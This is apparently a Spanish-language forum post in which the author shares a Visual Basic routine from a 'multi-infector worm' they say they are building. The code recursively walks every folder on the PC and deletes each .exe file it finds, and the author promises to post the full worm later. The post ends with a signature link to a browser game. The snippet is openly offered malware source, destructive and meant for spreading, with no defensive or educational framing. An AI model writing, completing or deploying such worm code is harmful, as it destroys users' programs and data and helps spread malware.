mira lo que yo ago para recojer todo los archivos de la pc
esto lo estoy usando en la creacion de un worm multi infector
el worm rastrea el los .exe y se los pasa a la funcion infectar exe
en este caso no la pongo despues pongo el worm completo
Dim carpetaS As New Collection
sub carpetas(path as string, nº as long)
Set fso = CreateObject("scripting.filesystemobject")
If fso.getfolder(path).SubFolders.Count = 0 Then: Exit Sub
For Each i In fso.getfolder(path).SubFolders
carpetaS.Add (i)
nº = nº + 1
DoEvents
carpetas i, nº
For Each j In fso.getfolder(i).files
If fso.getextensionname(j) = "exe" Then
fso.deletefile j 'borramos los exe
End If
Next
Next
end sub
______
http://world5.monstersgame.es/?ac=vid&vid=58141462pincha mi link